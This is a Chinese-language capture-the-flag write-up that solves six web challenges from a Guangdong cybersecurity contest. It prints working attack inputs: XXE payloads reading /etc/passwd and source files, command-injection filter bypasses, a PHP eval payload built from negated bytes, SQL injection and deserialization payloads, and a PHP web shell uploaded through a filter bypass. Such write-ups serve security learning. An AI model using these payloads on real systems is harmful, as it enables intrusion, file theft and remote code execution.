第三屆廣東省強網杯網絡安全大賽WEB題writeup

第三屆廣東省強網杯網絡安全大賽

1. 小明又被拒絕了

在這裏插入圖片描述
直接訪問根目錄,報403錯誤
在這裏插入圖片描述

一般是做了ip限制,加上 X-Forwarded-For 頭即可繞過
在這裏插入圖片描述

接着又提示不是管理員,仔細看響應頭的 Set-Cookie ,有個 admin=0 ,很明顯是通過Cookie來判斷是否是管理員,直接在請求中加個 Cookie:admin=1 即可繞過,獲取flag. 在這裏插入圖片描述

2.XX?

在這裏插入圖片描述

直接訪問根目錄,發現是個百度頁面,看了下源碼,沒什麼異常。

在這裏插入圖片描述

訪問下 index.php ,發現有點東西,嘗試訪問幾個常見備份文件後綴,沒有特別的發現。仔細看了下,發現標題是 gedit ,猜想是 gedit 的備份文件, 通過 index.php~ 獲取備份源碼。
在這裏插入圖片描述在這裏插入圖片描述
在這裏插入圖片描述
源碼中通過 php://input 獲取 POST 請求中的內容,然後把內容作爲 xml 解釋, 猜想應該是XXE 漏洞利用。根據參數名構造以下 XML 數據發送到服務器。

<?xml version="1.0"?>
<creds><user>admin</user><pass>pass</pass>
</creds>

發現可以回顯用戶名。

在這裏插入圖片描述

使用以下 XXE payload 可讀取 /etc/passwd 文件

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<creds><user>&xxe;</user></creds>

在這裏插入圖片描述

嘗試讀取/flag, /etc/flag, 都不存在。然後嘗試讀取 index.php , 但不知道網站根目錄路徑
在這裏插入圖片描述

接着也發現根目錄有 flag.php 文件
在這裏插入圖片描述
查了一下,發現可以通過 php://filter/ 來讀取當前目錄下的文件。於是構造以下 XXE payload 即可讀取 flag.php

<?xml version="1.0"?>
<!DOCTYPE ANY [<!ENTITY xxe SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>]>
<creds><user>&xxe;</user></creds>

在這裏插入圖片描述

3. 免費的,ping 一下~

在這裏插入圖片描述

打開首頁,發現可以輸入 ip ,然後 ping 該 ip,這種一般會有命令注入
在這裏插入圖片描述

把參數的值設置成 ;ls; 成功列出了當前目錄的文件。

在這裏插入圖片描述

嘗試列出根目錄,發現被攔截了,經過幾次嘗試,發現命令加一個空格會被攔截。查了下空格繞過,發現可以使用 $IF$$9${IFS} 來代替空格。成功執行 ls 命令。

在這裏插入圖片描述
在這裏插入圖片描述
發現在根目錄有 flag 文件,嘗試讀取,但讀取文件的命令如 cat 、head 、tail 等命令被攔截了,同時 flag 關鍵詞也被攔截了。查了下,發現可以通過在命令中間加兩個雙引號繞過。

使用 c"“at${IFS}/fl”"ag 讀取 flag 文件,提示 flag 不在第一行

在這裏插入圖片描述

可以使用tail /flag -n +3 的方式來讀取第3行的內容

在這裏插入圖片描述

最後通過 burp 爆破,發現 flag 在第16行。

在這裏插入圖片描述

4. php

在這裏插入圖片描述

訪問首頁,是 Apache 默認界面。

在這裏插入圖片描述

訪問 index.php ,給出了源碼, 源碼中獲取 code 參數的內容, 然後把 code 參數的內容傳進 eval 中執行。理論上只要把 code 的值設置成 GetYourFlag() 即可獲取 flag, 但在執行之前做了過濾,如果內容是字母,數字,下劃線等特殊字符,則拒絕執行。

在這裏插入圖片描述

查了下,發現 p 神的文章裏面說到可以通過 (‘phpinfo’)(); 的方式來執行字符串的代碼。然後通過特殊字符取反來構造字母,如 ~ 0xb8 的值剛好是字母 G 。通過下面的方式生成 GetYourFlag 取反的十六進制值。
在這裏插入圖片描述
在這裏插入圖片描述

然後在輸出的十六進制字符串的每兩個字符前加上 % 來構造 URL 編碼的特殊字符串,最後的 payload 如下:
http://119.61.19.212:8082/index.php?code=(~%b8%9a%8b%a6%90%8a%8d%b9%93%9e%98)()
在這裏插入圖片描述

5. 找漏洞

在這裏插入圖片描述

下載源碼壓縮包,然後訪問首頁
在這裏插入圖片描述

查看首頁源碼發現 /login 登錄頁面
在這裏插入圖片描述

沒登錄賬號,查看源碼找下思路,發現 UserFactory.php 文件的註釋裏面有個密碼,但不知道賬號是什麼。

在這裏插入圖片描述

在 web.php 下面發現以下路由, 打開相應的 php 文件查看

在這裏插入圖片描述

發現 UserController.php 中有個 SQL 注入
在這裏插入圖片描述

根據上面的路由構造以下 URL 獲取所有用戶的賬號密碼。

http://119.61.19.212:8085/user_testpage/1’%20or%20’a’='a
第二個賬號的郵箱提示A Hint=key,後面會有用。通過嘗試,可以使用以下賬號密碼登錄[email protected]/secertheretola
在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
登錄後嘗試訪問 HomeController.php 中路由的路徑。

在這裏插入圖片描述

http://119.61.19.212:8085/home/uploadto_upload
該地址的源碼有個 _token 值,後面又有用。。。
在這裏插入圖片描述

接着發現 uploadss 方法可以上傳文件,但前提是 key 值要正確,這個 key 值就是上面第二個用戶的用戶名。上傳的 URL 地址如下:http://119.61.19.212:8085/home/uploadss/NotAllow6171

構造個上傳表單進行上傳,提示頁面過期了
在這裏插入圖片描述

在上傳表單中加入上面請求獲取的 _token, 最後構造以下上傳表單進行上傳:

<html>
<body>
<form action="http://119.61.19.212:8085/home/uploadss/NotAllow6171" method="POST" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="hidden" name="_token" value="D1KJGDpS9lSdpqxuyYh1SGolMNYjCz2jdlrmgzTO">
<input type="submit" value="Submit request" />
</form>
</body>
</html>

在這裏插入圖片描述

上傳後提示 hack, 應該是過濾了文件的內容
在這裏插入圖片描述
發現內容只要有php關鍵字即攔截。 回頭看下剩下一個沒被利用的路由
在這裏插入圖片描述
在這裏插入圖片描述

發現訪問 http://119.61.19.212:8085/home/profile 可以訪問 show() 方法,該方法會加載 auth.uploads.template 模板, 該模板剛好是位於上傳的目錄中:
在這裏插入圖片描述

可以猜到是上傳文件覆蓋該模板來獲取 flag, 現在還有一個問題是不能上傳 php 代碼。

繼續翻源碼,發現 AppServiceProvider.php 中有一段代碼有 file_get_contents() 函數,查了下,是個自定義指令,可以在模板中通過 @filedata 來獲取文件的內容。
在這裏插入圖片描述
最後只需把上傳文件名設置成 template.blade.php ,內容設置成 @filedata(’/flag’) ,然後訪問 /home/profile 即可讀取 flag

在這裏插入圖片描述
在這裏插入圖片描述

6. api

api 這題只給了個地址,直接訪問,未發現什麼,然後訪問 /api/ 提示 POST filename 參數。
在這裏插入圖片描述

直接 POST filename 參數提示 json 解析錯誤
在這裏插入圖片描述
經嘗試,可以通過以下方式傳遞參數:
在這裏插入圖片描述

嘗試讀取上級目錄的 index.php
在這裏插入圖片描述
根目錄的 index.php 包含了 hack.php ,然後接收 flag 參數的值來進行反序列化 。這裏存在反序列化漏洞。
繼續讀取 hack.php
在這裏插入圖片描述

hack.php 中的 readfile() 函數會讀取 $file 變量中指定的文件。同時在註釋中提示了讀取 fffffaa_not.php 文件,所以只需要構造以下反序列化對象作爲 flag 的值即可讀取 fffffaa_not.php 的內容:

O:4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}

但在 index.php 中有對反序列化內容過濾

在這裏插入圖片描述

查了下,可以在O: 後面添加一個加號來繞過,payload如下:
O:+4:“hack”:1:{s:4:“file”;s:15:“fffffaa_not.php”;}http://119.61.19.212:8086/?flag=O%3a%2b4%3a"hack"%3a1%3a{s%3a4%3a"file"%3bs%3a15%3a"fffffaa_not.php"%3b}
在這裏插入圖片描述

查看 fffffaa_not.php 的代碼,發現獲取參數 jhh08881111jn 的值作爲內容,file_na 的值作爲文件名來上傳文件到 uploads 目錄中。其中做了文件內容檢查,不能有 [< 這些符號, 可以通過把參數設置成數組來繞過 jhh08881111jn[], payload 如下
http://119.61.19.212:8086/fffffaa_not.php?jhh08881111jn[]=<%3fphp+@eval($_POST[cmd])%3b%3f>&file_na=1234
在這裏插入圖片描述

訪問uploads/1234.php,想執行命令,發現 500 錯誤,然後執行 phpinfo(), 發現禁用了危險函數:
在這裏插入圖片描述
這裏可以直接使用 scandir() 函數來列目錄,然後通過 file_get_contents() 函數來讀取文件。

在這裏插入圖片描述

發現 flag 在 /f1ag_ahajjdhh11qwe 上,通過 file_get_contents() 讀取:

在這裏插入圖片描述

本文章也在我的公衆號發佈、
我的安全專家之路

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章